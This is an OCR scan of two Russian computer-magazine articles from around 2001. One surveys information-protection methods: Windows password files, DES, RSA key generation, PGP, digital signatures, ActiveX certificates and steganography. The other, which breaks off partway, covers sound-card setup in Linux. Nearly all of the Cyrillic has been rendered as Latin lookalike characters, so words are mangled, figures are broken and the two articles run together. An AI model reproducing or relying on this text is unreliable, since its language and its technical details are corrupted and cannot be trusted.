cbirpa^o 3 /iyio ujyTKy c pa 3 pa 6 oTHMKaMM 
a/iropMTMOB UIM(}>pOBaHMfl 


Be>K/iMBO npeA/iaraeTC/i bbcctm CBoe MAeHTMcfiMKa- 
AMOHHoe mm /1 (login) m napo/ib. Bee napo/in 
Windows xpaH/iTC/i b cJ/aM/iax c pacuiMpeHMeM pwl b 
K aTa/iore onepauMOHHOM CMCTeMbi, HanpMMep 
C:\Windows\sasha.pwl. B stmx >Ke cfiaM/iax xpaH/iT- 
c/i Bee napo/iM rj\s\ BxoAa b PlHTepHeT, ec/iM, KOHen- 
ho, no/ib30BaTe/ib npeAnoHMTaeT xpaHMTb napo/iM b 
cfiaM/ie, a He b ro/iOBe m/im 3anMCHOM khm/kkc. Be* 
MHcJ/opMauM/i b pwl-cJ/aM/iax xpaHMTC/i b 3am McJ/po- 
BaHHOM BMAe, ho a/iropMTM mMcJ/poBaHM/i He o6ec- 
neHMBaeT ao/dkhom 3aiAMTbi MHcJ/opMauMM. Ec/im 
cfiaM/i c napo/i/iMM nonaAeT b pyKM 3/ioyMbim/ieHHM- 
Ka, to cneuMa/ibHa/i nporpaMMa 3a HecKO/ibKO nacoB 


npM noKynxe nepe3 M HTepHeT no/ib30BaTe/ib Ha 
web-CTpaHMHKe Mara3MHa 3ano/iH/ieT aHKeTy, rAe 
yKa3biBaeT TOBap, KOTopbm xoneT npMo6pecTM, 
cbom AOMamHMM aApec, HOMep KpeAMTHOM Kap- 
TOHKM M T. A. KorAa OH H3)KMMaeT Ha KHOnKy OK, 
to AaHHbie nepecbi/iaiOTC/i Ha web-cepBep, rAe 3a- 
nycKaeTC/i nporpaMMa nx o6pa6oTKM. M3BecTHO, 
hto noAo6HbiM naxeT mo>kho nepexBaTMTb, noaTO- 
My npn h 6 o 6 xoammoctm AaHHbie MoryT mMcfipo- 
BaTbc/i. Ec/im Mbi nepecbi/iaeM HOMep CBoeM Kpe- 
AMTHOM KapTOHKM, to mMcJ/poBaHMe npocTo Heo6 - 
xoammo, a bo mhotmx CMCTeMax Ha OCHOBe Unix m 
Linux mMc|)poBaHMe AaHHbix npoM3BOAMTC/i no 


CHIP 


M K) H b 


2 0 0 1 



152 


SOLUTIONS m e t o fl bi 3 a m m t bi MH(()opMaunM 


crapoMy a/iropMTMy DES, KOTopbm, KaK M3BecTHO, 
He rapaHTMpyeT flOCTaTOHHyio Hafle>KHOCTb. 

TaK>Ke CMMMeTpMHHbie KpMnTOCMCTeMbI LUMpOKO 
npMMeHfliOTCfl b nporpaMMax apxMBai^MM AaHHbix. 
ripaKTMHeCKM KaWflblM COBpeMeHHbIM apXMBaTOp 
MMeeT CfiyHKUMlO WMCfipOBaHM/l. npOM3BOflMTe/lM ap- 
xMBaiopoB yTBep>KAaHDT, hto mx nporpaMMbi rapaHTM- 
pytOT COXpaHHOCTb 3aiUMC|DpOBaHHOM MHC|DOpMai4MM. 
Ho He ctomt c/ieno BepMTb b Hafle>KH0CTb HenpoBe- 
peHHbix a/iropMTMOB, BApyr cyiAecTByiOT «Abipbi» m b 
3tmx CMdeMax. HanpMMep, pa3pa6oiaHbi nporpaM- 
Mbi, KOTopbie 3a HecKO/ibKO nacoB B3/iaMbiBaiOT napo- 
m k RAR m ZIP-apxMBaM. Ecib HaA neM 3aAyMaTbc/i. 

I/I BCe >Ke maBHbIM HeAOCTaTOK CMMMeTpMHHbIX 
KpMnTOCMdeM Aa>Ke c caMbiM coBepiueHHbiM a/iro- 
pMTMOM LUMC|)pOBaHM^ — 3TO Heo6xOAMMOCTb C006- 
lAaTb K/1IOH K LUMCjapy, a 3H3HMT, Heo6xOAMMOCTb Ha- 
AewHoro KaHa/ia cb/bm. Ho ec/iM TaKOM HaAe/KHbm 
KaHa/i MMeeTCfl, to TorAa 3aneM Boo6iAe LiiMcJapo- 
BaTb? Hio6bi ycrpaHMTb stot HeAOCTaTOK, m 6bi/iM 
pa3pa60TaHbl KpMnTOCMCTeMbI C OTKpbITbIM K/IIOHOM. 

3tm cMCTeMbi xapaKTepM3yiOTC5i TeM, hto pj\n lumc|d- 
poBaHMfl Mcno/ib3yeTC/i oamh k/iioh — OTKpbITbIM, a 
pj\n AewMcjDpoBaHMfl Apyroii — 3aKpbiTbm. OTKpbI- 
TbIM M 33KpblTblM K/1IOHM CB/13aHbl Me>KAy C060M. 
ripM 3TOM AaHHa^l 33BMCMMOCTb TaKOBa, HTO yCTaHO- 
BMTb OTKpbITbIM K/IIOH, 3Hdf\ 3aKpblTblM, C BblHMC/lM- 
Te/lbHOM TOHKM 3peHMfl OHeHb TpyAHO. 

K/iioh lu Mcj/poBaHM/i MO>KeT 6biTb CAe/iaH o6iAe- 
AOCTynHbiM, m b stom c/iynae npo6/ieMa no/iyneHM/i 
o6iAero ceKpeTHoro K/iiona a nn CB/13M OTnaAaeT. Ec- 
ji m CAe/iaTb o6iAeAOCTynHbiM k/iioh AewMc|DpoBaHM/i, 
to Ha 6a3e no/iyneHHOM CMCTeMbi mo>kho nocTpoMTb 
CMCTeMy ayTeHTMc|DMKaAMM nepeAaBaeMbix coo6iAe- 
hmm. llocKO/ibKy b 6o/ibWMHCTBe c/iynaeB OAMH 
k/i ion M3 napbi Ae/iaeTC/i o6iAeAOCTynHbiM, TaKMe CM- 
CTeMbi nO/iyHM/lM T3 K>Ke Ha3B3HMe KpMnTOCMCTeM c 
OTKpbITbIM K/IIOHOM. 

KpMnTOCMCTeMa c OTKpbITbIM k/hohom onpeAe/m- 
eicn TpeM/i a/iropMTM3MM: reHepauMM kji loneM, wm- 
cJ/poBaHM/i m AewMc|DpoBaHMfl. AnropMTM reHepauMM 
k/i loneM OTKpbiT, m, noAaB Ha bxoa c/iynaMHyio crpo- 
Ky HaA/ie>KaiAeM A-nMHbi, mo>kho no/iyHMTb napy 
K/iioneM. Oamh m3 k/hohcm ny6/iMKyeTC/i, a BTopoPi, 
Ha3biBaeMbm ceKpeTHbiM, xpaHMTC/i b TaMHe. 


B HacTOfliAee BpeM/i cyiAecTByeT HecKO/ibKO 
KpMnTOCMCTeM c OTKpbITbIM K/iiOHOM. HaM6o/iee HI M- 
poKoe Mcno/ib30BaHMe no/iynM/ia cMCTeMa PMBecTa 
— LUaMMpa — 3MAe^MaHa (Rivest, Shamir, 

Adleman — RSA). KpaTKO a/iropMTM mo>kho onM- 
caTb c/ieAyioiAMM o6pa30M. 

► l1o/ib30BaTe/ib A Bbi6MpaeT napy pa3/iMHHbix npo- 
CTbix HMce/i p m q, BbiHMC/meT mx npoM3BeA6HMe 
n = p*q m Bbi6MpaeT hmc/io d, TaKoe, hto 
H 0fl(d, (p(n)) = 1, rAe <p(n) — cfiyHKAMfl 3ki/iepa 

(KO/lMHeCTBO HMCe/1, MeHbLLIMX 11 M B33MMHO npO- 
CTbix c n). Ec/im n = p*q, rAe p m q — npocTbie 
HMC/13, TO <p(n) = (p - l)»(q - 1). 

3aTeM oh BbiHMC/meT Be/iMHMHy e, TaKyio, hto 
d*e mod (p(n A ) = 1, m pa3MeiAaeT b o6iAeAOCTyn- 
hom cnpaBOHHOM Ta6/iMue napy (e, n), 5iB/i5iiomy- 
lOCfl OTKpbITbIM k/iiohom no/ib30BaTe/m A. 

► KorAa no/ib30BaTe/ib B we/iaeT nepeAaTb coo6- 
lAeHMe X no/ib30BaTe/no A, to oh ero lu M cjDpyeT no 
c/ieAyioiAeM cxeMe: 

X => X' = X e mod n 

► no/ib30BaTe/ib A npoM3BOAMT AOWMcjDpoBaHMe no- 
/lyneHHoro coo6iAeHM/i c noMOiAbio o6paTHoro 
npeo6pa30BaHM5i: 

X' => X = X d mod n 

CTOMKOCTb 3Toro a/iropMTMa onMpaeTC^ Ha 
c/io>KHocTb peweHM/i 3aAaHM pa3/io>KeHM/i HMc/ia Ha 
npocTbie MHOKMTe/iM. HMc/ia p m q, oneHb 
npOCTO BbIHMC/lMTb MX npoM3BeA6HMe n, HO npM M3- 


BecTHOM n KpaiiHe 3 aTpyAHMTe/ibHO h 3 mtm ero pa 3 - 
/io>KeHMe Ha npocTbie comhokhtcjim. ripM n > 10 145 
3 Ta 3 aAana BbixoAMT 3 a npeAe/ibi B 03 M 0 >KH 0 CTeM co- 
BpeMeHHOM BblHMC/lMTe/lbHOM TeXHMKM. 

Ho Ha npaKTMKe He Bee TaK npocTO, KaK b Teo- 
pMM. OTKyAa no/ib30BaTe/ib A B03bMeT Aea 6o^biuMx 
npocTbix HMc/ia p m q, npnneM HacTO/ibKO 6o^biuMx, 
HTo6bi mx npoM3BeAGHMe 6bmo 6o^biue 10 145 ? Cy- 
lAecTByeT mhokcctbo a/iropMTMOB reHepauMM 6o/ib- 
Lu mx npocTbix HMce/i, ho He Bee ohm yAo6Hbi. 

Bo-nepBbix, a/iropMTM ao/dkch 6biTb AOCTaTOHHO 
6biCTp biM, HTo6bi no^b30BaTe-nio xb 3 tm/io TepneHM^i; 

BO-BTopbix, a/iropMTM AO^- 
>KeH reHepMpoBaTb KaK 
mo>kho 6o^biue pa 3 Hbix m- 
pa 3 p^AHbix npocTbix hm- 

ce^, HT06bl CHM3MTb AO MM- 
HMMyMa BepO^THOCTb c^y- 
naMHoro coBnaAeHM^i k^io- 
neM y pa3Hbix no^b30BaTe- 
^eM CMCTeMbi M BepO^IT- 
HOCTb yraAbmaHM^i K^iona 
3/lOyMblLU/ieHHMKOM. 

HanpMMep, caMbiM npo- 
ctom cnoco6 no^nyHMTb npo- 
CToe hmc/ 10 , npeA/io>KeH- 
HbiM eiAe Ebmmaom, 3 aMio- 
naeTCfl b c^eAyioiAeM: HaAO 


nepeMHO>KMTb k nepBbix npocTbix HMce/i m k no/iy- 
neHHOMy npoM3BeAGHMio npM6aBMTb 1 (2«3«5«7 + 1 
= 211 — npocToe hmc/io). Ho 3tot a/iropMTM no3BO- 
^5ieT no^yHMTb oneHb Ma/io npocTbix HMce/i, coAep- 
>KaiAMx OAMHaKOBoe hmc^o pa3p^AOB. flonycTMM, 
no/ib30BaTe/ib A no MeTOAy EBMMAa Hawe/i Aaa npo- 
cTbix HMc/ia p m q, a OTKpbITbIM K-niOH n = p*q nona^ b 
pyKM 3/lOyMbllil/ieHHMKa. Ec/IM 3/lOyMblLLI/ieHHMK 6y- 
AeT MCKaTb Ae/iMTe/iM n cpeAM HMce/i, no^yneHHbix no 
MeTOAy EBK/iMAa, to eMy He coct3bmt 6o^biuoro Tpy- 
Aa mx HaiiTM. TaK hto MeTOA EBK/iMAa He noAxoAMT. 

reHepauMM npocTbix HMce/i mo>kho Mcno^b- 
30BaTb, HanpMMep, TaKOM cnoco6: reHepaTop c^y- 
naiiHbix HMce/i Bbipa6aTbiBaeT m-pa3p^AHoe HeneT- 
Hoe hmc/io (neTHoe hmc/io y>Ke He npocToe) m npo- 
Bep/ieTC/i, npocToe m oho. Ec/im hmc/io He npocToe, 
to oho yBe/iMHMBaeTC/i Ha 2 m BHOBb npoBepaeTCfl, 
m TaK ao Tex nop, noKa Mbi He HaMAeM npocToro 
HMc/ia. TaKOM a/iropMTM TO>Ke HaM He noAxoAMT, no- 
CKO/ibKy oh oneHb MeA/ieHHbm. Cennac Mcno/ib3yiOT 
cneuMa/ibHbie a/iropMTMbi reHepauMM nceBAonpoc- 
Tbix HMce/i. no/iyneHHoe no 3TOMy a/iropMTMy hmc/io 
c Bepo/iTHOCTbio 6o/iee 99,9% npocToe. 

rioAniicii ii cepTnc|>iiKaTbi 

EiAe oamh lli M poKO Mcno/ib3yeMbm mctoa 3aiAMTbi 
MHcj/opMauMM — 3 to 3/ieKTpoH Ha/i noAnMCb. 1/lAe/i 
UmcJdpobom noAnMCM 3aK/nonaeTC/i b c/ieAyioiAeM: k 
cpaw/iy npMnMCbiBaeTC/i cneuMa/ibHa/i MHcfiopMauMfl, 


KOTopa/i MAeHTMc|DMAMpyeT 3 tot cjaaM/i m ero B/ia- 
Ae/ibua. Ec/im 3/ioyMbiiu/ieHHMK M3MeHMT noAnMcaH- 
Hbiii cjaaPi/i, to 3/ieKTpoHHaa noAnMCb He 6yAeT coot- 
BeTCTBOBaTb cjaan/iy. Jlio6a/i CMCTeMa 3/ieKTpoHHOM 
noAnMCM pa6oTaeT c/ieAyioiAMM o6pa30M: CHana/ia 
BbiHMC/i/ieTC/i xeui-cjDyHKAM/i noAnMCbiBaeMoro c|DaM- 
/ia — cneuMa/ibHoe npeo6pa30BaHMe, Ha bxoa ko- 
Toporo noAaeTC/i cjaaM/i, a Ha BbixoAe no/iynaeTC/i 
C/IOBO Cj/MKCMpOBaHHOM A/lUHbl. 3 tO C/IOBO — CBOe- 
o6pa3Ha/i KOHTpo/i bHa/i cyMMa cjaaM/ia. 3aTeM pe- 
3y/lbTaT XeiUMpOBaHM/l lUMC|DpyeTC/l C OTKpbITbIM K/1IO- 
hom. no/iyneHHbiM lumc|dp m ecTb 3/ieKTpoHHa/i noA- 
nMCb cJaaM/ia. B npMHAMne mo>kho uiMcj/poBaTb Becb 
CjaaM/l, HO a/iropMTM UJMC|DpOBaHM/l C OTKpbITbIM K/1IO- 
hom oneHb TpyAoeMOK, m ropa3AO 6biCTpee 3auiMc|3- 
poBaTb xeui-cjDyHKAMio noAnMCbiBaeMoro cjaaM/ia. 

Bee BbiiueM3/io>KeHHbie MeTOAbi 6bi/iM npeKpac- 
ho pea/iM30BaHbi b nporpaMMHOM naKeTe PGP. 11a- 
KeT PGP (Pretty Good Privacy) /iB/meTC/i Ha ceroAH/i 
caMbiM pacnpocTpaHeHHbiM npoAyKTOM, no3BO/i/no- 
iamm Mcno/ib30BaTb coBpeMeHHbie HaAe>KHbie Kpnn- 
TorpacJ/MnecKMe a/iropMTMbi p,nn 3aiAMTbi MHcJ/opMa- 
Amm b nepcoHa/ibHbix KOMnbiOTepax. K ocHOBHbiM 
npeMMyiAecTBaM AaHHoro naKeTa, BbiAe/i/noiAMM ero 
cpeAM ApyrMx aHa/iorMHHbix npoAyKTOB, c/ieAyeT ot- 
HecTM c/ieAyioiAMe: 

1| OTKpbITOCTb. 1/ICXOAHblM KOA BCeX BepCMM npO- 
rpaMM PGP AOCTyneH b OTKpbiTOM BMAe. J1io6om 
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3 KcnepT MO>KeT y 6 eAMTbC 5 i b tom, hto b nporpaM- 
Me acjDcjDeKTMBHo pea/i M 30 BaH bi KpMnTorpacjDMHec- 
KMe a^ropuTMbi. TaK KaK caM cnoco 6 pea/iM 3 a- 
\\m M 3 BecTHbix a/iropMTMOB 6 bm AOdyneH cne- 
UMa/iMCTaM, to OTKpbiTOCTb noB/ieK/ia 3 a co6om m 
Apyroe npeMMyiAecTBO — acjDcjDeKTMBHOCTb npo- 
rpaMMHoro KOfla. 

2 1 CroMKOCTb. pea/iM3auMM ocHOBHbix cfiyHKAMM 
Mcno^b30BaHbi jiynwMe (no KpaMHeM Mepe Ha Ha- 
na/io 90-x) M3 M3Becmbix a/iropMTMOB, npM stom 
A onycKafl Mcno/ib30BaHMe AOcraTOHHO 6o/ibwoM 
A/iMHbi K/iHDHa p,nn HaAe>KHOM 3aiAMTbi AaHHbix. 

3 1 EecrmaTHOCTb. foTOBbie 6a30Bbie npoAyKTbi PGP 
(paBHO KaK m McxoAHbie TeKCTbi nporpaMM) ao- 
CTynHbi b I/I HTepHeTe, b h3Cthoctm Ha ocfiMAMajib- 
hom caMTe PGP Inc. www.pgpi.org. 

4 1 l1oAAep>KKa KaK ueHTpajiM30BaHH0M (qepe3 
cepBepbi K/iioMew), TaK m AeueHTpa/iM 30 BaH- 
hom (qepe 3 «ceib AOBepnB») MOfle;iM pac- 
npeAe^eHHB OTKpbiTbix K/noneM. 

B naKeTe PGP pea/iM 30 BaHbi c/ieAyioiAMe cjDyHKuni/i: 

► reHepauMa napbi M 3 3 aKpbiToro/oTKpbiToro mnona; 

► ujMcj)poBaHMe c| 3 aM/ia c noMOiAbio OTKpbiToro K/nona 
/no6oro no/ib 30 BaTe/ifl PGP (b tom HMC/ie CBoero); 

► pacujnc|DpoBKa cfiaM/ia c noMOiAbio CBoero 3 aKpbi- 
Toro K/uona; 

► Ha/io>KeHMe amc|dpobom noAnncM c noMOiAbio cbo- 
ero 3aKpbiToro K/uona Ha cjaa m ji (ayTeHTMcjDMKaAMA 
cfiaM/ia) m/im Ha OTKpbiTbm kmh Apyroro no/ib30- 
BaTe/ifl (cepTMc|3MKauM5i K/uona); 

► npoBepKa (BepM^MKaAM/i) CBoePi noAnMCM mjim 
noAnncM Apyroro no/ib 30 BaTe/ifl c noMOiAbio ero 
OTKpbiToro K/uona. 

rioAnporpaMMbi naKeTa PGP Mcno/ib3yiOTCfl bo 
mhotmx ApyrMx nporpaMMax, TaK m/im MHane CB/i3aH- 
Hbix c Lunc|DpoBaHneM. HanpMMep, b K/iMeHTbi 3/ieK- 
tpohhom noHTbi (Microsoft Outlook, The Bat! m ap*) 
BCTpoeHbi npoueAypbi WMc|)poBaHMfl/AeiiJMc|)poBaHMfl 
nuceM. EiAe oamh 3aMenaTe/ibHbm nporpaMMHbm 


npoAyKT Ha ocHOBe PGP — PGP Phone. Oh npeAHa3- 
HaneH p,nn o6ecneneHMfl KOHcJ/MAGHAMa/ibHOCTM, 
KorAa Bbi o6iAaeTecb npM noMOLAM IP-Te/iec|DOHMM. 
IP-Te/iec|DOHMfl — 3 to npocTO 3aMenaTe/ibHoe M3o6- 
peTeHMe. fo/ioc mo>kho nepeAaBaTb He mnbKO no Te- 
/lecJ/OHHblM /IMHMflM, HO M Hepe3 MHTepHeT. npi/1 3T0M 
Bbi MO>KeTe 3B0HMTb b /uo6yio TOHKy 3eMHoro rnapa, 
a n/iaTMTe mnbKO 3a BpeM/i pa6oTbi b CeTM. 

EiAe oaho oneHb Ba>KHoe npMMeHeHMe 3/ieK- 
tpohhom noAnncM — sto TexHO/iorM/i ActiveX. Tex- 
ho/iotm/i ActiveX 6bi/ia pa3pa6oTaHa KOMnaHMeM 
Microsoft p,nn bhcapchm/i pa3/iMHHbix o6beKTOB 
(HanpMMep, AOKyMeHTOB Word, rpac|DMKOB, MaTeMa- 
TMHeCKMX c|)OpMy/l M T. n.) B Web-CTpaHMHKM. B 
npMHAMne cueHapi/in ActiveX MoryT Bbino/iHATb /uo- 
6bie AencTBM^ — sto CBoeo6pa3Hbie nporpaMMbi, 
KOTopbie noAo6HO ann/ieTaM Java Bbino/iH/uoTCfl Ha 
MaiiiMHe K/ineHTa. OAHaKO Java-ann/ieTbi He MoryT 
o6paiAaTbC5i k >KecTKOMy AUCKy no/ib30BaTe/m, b to 
B peM/i KaK cueHapMM ActiveX mmciot Aocryn ko 


BceM pecypcaM. TaKOM noAxoA cyiAecTBeHHO pac- 
WMpfleT B03M0/KH0CTM, ho C03AaeT OnaCHOCTb pj\n 
no/ib30BaTe/m. HTo6bi o6ecnenMTb cboio 6e3onac- 
HocTb, no/ib30BaTe/no ue/iecoo6pa3Ho Mcno/ib30- 
BaTb ActiveX-CAeHapMM mnbKO ot npoBepeHHbix 
npon3BOAHTe/ieM. fl/m stoto cueHapMM ActiveX cep- 
tmc|dm AM pyiOTCii 3/ieKTpoHHoPi noAnncbio, npuneM 
K/noHM p,nn 3/ieKTpoHHOM noAnncM BbiAaeT 3a onpe- 
Ae^eHHyio n^aTy bcaomctbo cepTHcjDMKaTOB (HanpM- 
Mep, VeriSign — www.verisign.com) 

Ha cepBepe BeAOMCTBa cepTHcjDMKaTOB noMeiAa- 
ejcn m H cjDopMauMii 06 aBTope cueHapn^ ActiveX. 
Ec/in y Bac b HacTpoMKax 6 poy 3 epa b pa 3 Ae^e «Be- 
3onacHocTb» yKa3aH0 «npoBep^Tb cepTMcjDMKaTbi», 


to, KorAa Bbi 3axoAMTe Ha web-CTpaHMHKy c 3/ieMeH- 
tom ActiveX, nepeA 3arpy3KOM ajeHapMA 6poy3ep 
o6paTMTC5i k cepBepy BeAOMCTBa cepTHcjDMKaTOB m 
npoBepMT CAeHapMM Ha noA/iMHHOCTb. 

KapmHKH ii paaroeopbi 

EiAe OAMH MeTOA 3aiAMTbl MHCflOpMaUMM, 0 KOTOpOM 
n xoTe^ 6bi paccKa3aTb, — sto CTeraHorpacjDM^, to 
eCTb MaCKMpOBKa CeKpeTHOM MHC|DOpMaAMM BHyTpM 
HeceKpeTHOM. YAo6Hee Bcero np^TaTb cbom ceKpe- 
Tbl B rpacjDMHeCKMX, 3ByK0BblX, BMAeO M APyrMX 
My^bTMMeAMa-c|DaM^ax. 

IJoHeMy-TO creraHorpac|DMfl Mcno^b3yeTC5i ropa3- 
AO pe>Ke no cpaBHeHMio c ApyrMMM MeTOAaMM, a 
BeAb y Hee 6o^biuMe nepcneKTMBbi. C noMOiAbio 
CTeraHorpacjDMM mo>kho C03AaTb 6e3onacHbm KaHa^ 
CB5I3M b paMKax He3aiAMiAeHHoro KaHa^a. ripeA- 
CTaBbTe ce6e Te^ecfiOHHbiM pa3roBop, rAe b 3ByKe 
3anp^TaHbi cexpeTHbie AanHbie. Ho caMoe maBHoe, 
hto MeTOAaMM CTeraHorpacfiMM mo>kho peiuMTb npo- 
6^eMy aBTopcKoro npaBa Ha My/ibTMMeAMa-npoAyK- 
Tbi. riepBa^i nonbiTKa y>Ke CAe^aHa KOMnaHMeM 
Digimarc Corporation (www.digimarc.com). 

3tz KOMnaHMfl co3Aa^na cneuna/ibHbm rpacfiMHe- 
ckmm c|DM/ibTp Digimarc (boaahom 3H3k), KOTopbiM 
bxoamt b cocTaB naKeTa Adobe Photoshop. OM^bTp 
Bbino/iHfleT c^eAyioiAMe ag^ctbm^i: co3AaeT 3^eK- 
TpoHHyio noAnMCb rpacfiMHecKoro M3o6pa>KeHM5i, a 
3aTeM MeTOAaMM CTeraHorpacfiMM np^neT noAnMCb 
BHyTpM caMoro M3o6pa>KeHM^, npMHeM noAnMCb 3a- 
nMCbiBaeTC^i mhoto pa3. 1/1 Tenepb ec^M 3^oyMbiiu- 
zieHHMK yKpaAeT y Bac xota 6bi nacTb M3o6pa>KeHMfl, 
to BHyTpM Hee Bee paBHO 6yAeT xpaHMTbc^ mhc|dop- 
MaAMfl 06 mctmhhom co3AaTe^e. Mcno^b30Ba- 
hma cjDM/ibTpa no^b30BaTe-nio HaAO TO^bKO 3aperMCT- 
pMpoBaTbc^ Ha cepBepe KOMnaHMM Digimarc 
Corporation n no/iyHMTb nepcoHa^bHbm ma6htmc|dm- 
KaAMOHHblM HOMep (K^lOH 3/ieKTpOHHOM nOAnMCM). 
AHa^orMHHbiM o6pa30M mo>kho 3aiAMiAaTb ot noc^i- 
raTe^bCTB Ha aBTopcKoe npaBO He TO^bKO rpacfiMKy, 
ho m ayAMO-cjDaM/ibi, m BMAeo. EAMHCTBeHHbm HeAO- 
CT3T0K CTeraHOrpacjDMHeCKMX CMCTeM — OHM HMKOr- 


Aa He 6yAyT OTKpbiTbiMM. Ecjim ony6^MKOBaTb a^ro- 
pMTMbl MaCKMpOBKM B cfOM/iaX, TO HM 0 KaKOM CeK- 
peTHOCTM He MO>KeT 6blTb M peHM. 

rio>Ka^yM, Mbi paccKa3a/iM 060 Bcex cyiAecTByio- 
iamx Ha ceroAHflWHMM AeHb MeTOAax 3aiAMTbi mh- 
cfiopMaAMM. HecMOTp^i Ha mx ko/imhcctbo, Ma^o kto 
M3 p^AOBbix no/ib30BaTe/ieM npM6eraeT k mx noMO- 
iam. A b Poccmm, rAe Bee HaAeiOTCfl Ha pyccKMM 
«aBOCb», — m noAaBHO. CeroAH^ 3aiAMTa MHcjDopMa- 
Amm, KaK 3to hm napaAOKca^bHO, 3a6oTa He no^b30- 
BaTe^eM, a npoM3BOAMTe/ieM cpeACTB 3aiAMTbi mh- 
CjDOpMaAMM. ripOM3BOAMTe/lM AO/DKHbl CaMM 3a60TMTb- 
Cfl 0 6e3onacHOCTM mmchtob, mm m KapTbi b pyKM. 

AneKcaHAP TonopKOB 


McxoflHbm koa Bcex BepcuPi nporpaMM PGP AOcryneH b OTKpbiTOM 
BMAe. b tom, hto b nporpaMMe 

ac|)c|3eKTHBH0 pea^n30BaHbi KpnnTorpac|DHHecKne a^ropnTMbi 
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SOFTWARE MynbTMMepa 


Bo 3 mo>khocth pa 6 oTbi c ayAHO(j)au/iaMU b Linux 

KaK 6b\ HaM 

curpaTb m cneTb? 

lloAAepwKa BocnpoM3BeA6Hmi 3ByK0Bbix <J>aM/iOB Ka>KeTCJi b coBpeMeHHbix KOMnbfOTepax BeiAbio caMO 
co6oPi pa3yMeioiAeMCJi, m peAKMM KOMnbKrrep npoAaeTCfl 6e3 3ByKOBOM KapTbi. B Linux noAAepwKa 
3ByKOBbix KapT aojito ocTaBa/iacb npo6/ieMOM, u ao cmx nop OHa He peweHa OKOHHaTe/ibHO. 


0 CHOBOM 3ByKOBOM CMCTeMbl B KOMnblOTepe f\ B- 
/ijieTC5i 3ByKOBa^ Kapia. fl/ia Toro, HTo6bi OHa 
HopMa/ibHO cjDyHKUMOHi/ipoBa/ia b Linux, Heo6xoflM- 
MO Co 6/1IOCTM HeCKO/lbKO yC/lOBMM: 

3ByKOByfo Kapiy HywHO npaBM/ibHO CKOHcfiMry- 
pMpoBaib; 

flo/i>KH bi 6 biTb co 3 flaHbi cneuua^bHbie cpaPi/ibi 
b flupeKTopnM /dev. C noMOLAbio stmx cfianjiOB 



▲ YcTaHOBKa napaMeipoe fl/ifi Koneep- 
TauMM Audio CD b <J>opiviaT MP3 


co 3ByKOBOM Kapion m 6yflyi pa6oTaib ocra/ib- 
Hbie nporpaMMbi; 

Heo6xoflMMO, HTo6bi npaBM^bHo pa6oTa/in 
ApaiiBepbi, MMeiOLAnecfl b KOMn/ieKTe nHcra/i- 
nnu,m AMCTpu6yTHBa Linux /in6o nocTaB/me- 
Mbie npOM3BOflMTe^eM 3ByKOBOM KapTbi. 

/lyniue CKOHcjDnrypnpoBaTb 3ByKOByio Kapiy 
BpyHHyio, nocKO/ibKy b Aa/ibHeMweM BaM MoryT no- 
Tpe6oBaTbCfl HaciponKM IRQ m KaHa/iOB DMA. Ec/in 
y Bac Bee we bo3hmk/ih npo6/ieMbi c KOHcfiMrypaun- 
en KapTbi, mowho nocoBeTOBaib cpaBHMTb napaMei- 
pbi Apa^BepoB p,nn Windows c Be/iHHHHaMH, koto- 
pbie Bbi HanAeie b cfian/iax, pacno/ioweHHbix 
b AMpeKTopuax /proc/interrupts n /proc/dma. 

KpoMe Toro, b coBpeMeHHbix AHCTpn6ymBax 
Linux cyiAecTByiOT cpeACTBa, aBTOMan/iHecKM on- 
peAe/miOLAne u KOHc|DnrypnpyioiAMe 3ByKOBbie Kap- 
Tbi. B RedHat, HanpnMep, 3 to nporpaMMa 
sndconfig. OAHaKO k npnMeHeHMio TaKnx npo- 
rpaMM ctomt noAxoAMTb c ocTopowHOdbio, no- 
CKO/ibKy HenpaBn^bHoe onpeAe/ieHi/ie 3ByKOBOM 
KapTbi MoweT npMBecTn k c6oam b pa6oie cncieMbi 
m no/iHOMy ee 3aBMcaHMio. B TaKOM cnynae npn- 
Aera ncno^b30BaTb 3anycKa Linux nporpaM- 
My LoadLin, KOTopaa cyMeeT 3arpy3mb ero nepe3 
DOS min Windows. OAHaKO 3 to 03HanaeT, hto Bbi 
He CMOweie ncno/ib30BaTb LILO b KanecTBe 3a- 
rpy3HMKa onepaunoHHbix cmctcm. 

rio/iHyio MHcjDopMaumo o 3ByKOBOM Kapie Bbi 
HaMAeie b cfianjie /dev/sndstats n/in c noMOiAbio 


CCbl/lKM 


CTpaHMHKa npoeKTa ALSA 

www.alsa-project. org/intro.html 

KoMMepnecKayi Bepcmi cncieMbi OSS 
Pa3pa6oTHMK: 4Front Technologies 
www.4front-tech.com/linux.html 

ueHTpa ynpaB/ieHMA KDE (nepe3 nporpaMMy 
kcontrol). 

CneuiiasibHbie noACMCTeMbi 

KpoMe Toro, Heo 6 xoAMMyio p,nn pa 6 oibi co 3 ByKOM 
MH^opMauMio Bbi HaiiAeTe b cfian/iax: 

/dev/audio. Oni/icaHi/ie ycrpoMCTBa, coBMecri/iMoro 
CO 3ByKOBOM CMCTeMOM, C03A3HH0M cflMpMOM Sun. 
Cnywi/iT A-n^ 3anncn m BOcnpon3BeAeHMfl cjDaPi/iOB 
TMna .AU; 

/dev/dsp. l"lo 3 BO/ifleT Bocnpon 3 BOAHTb m 3 anMCbi- 
BaTb 3 ByK B BMAe 8 - M/ 1 M 16 - 6 MTHblX C 3 Mn/ 10 B B pe- 
WMMaX MOHO M/ 1 M CTepeO B COOTBeTCTBMM C B 03 M 0 W- 
HOCTflMM CaMOM KapTbi; 

/dev/midi. OopMaT MIDI 6bm co3AaH p,nn onnca- 

H M 53 My 3 blKM, C 03 A 3 BaeM 0 M C nOMOlAblO HaCTOTHOM 

MOAy/i^UMM m/im CMHTe 3 a wavetabLe. Yctpomctbo 
/ dev/midi c^ywMTA/i^ BOcnpoM 3 BeAeHM 5 i cfiaM^OB 
midi m ynpaB^eHM 5 i My 3 biKa/ibHbiMn MHCTpyMeHTaMM, 
COBMeCTMMbIMM C HMM,' 

/dev/mixer. KaK m c^eAyeT M 3 Ha 3 BaHM 5 i, sto ycT- 
poMCTBO OTBenaeT 3a NinKLunpoBaHi/ie 3ByKa. l/lc- » 
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▲ MH<j>opMauMio o KOH4>nrypaumi sbykobom KapTbi Bbi Moneie ysnaib b cpefle KDE 


no/ib3yeTCfl KaK p,nn bxoahwx, Tax n ajia BbixoAHbix 
CMTHa/lOB. 

ApaMBepbi 

flpaMBepbi 3ByK0Bbix KapT p,nn Linux, KaK npaBU/io, 
npeAycMaipMBaiOT B03M0>KH0CTb SKcn/iyaTaunn 
AByx u 6o/iee KapT Ha oahom KOMnbioiepe. Y Hexo- 
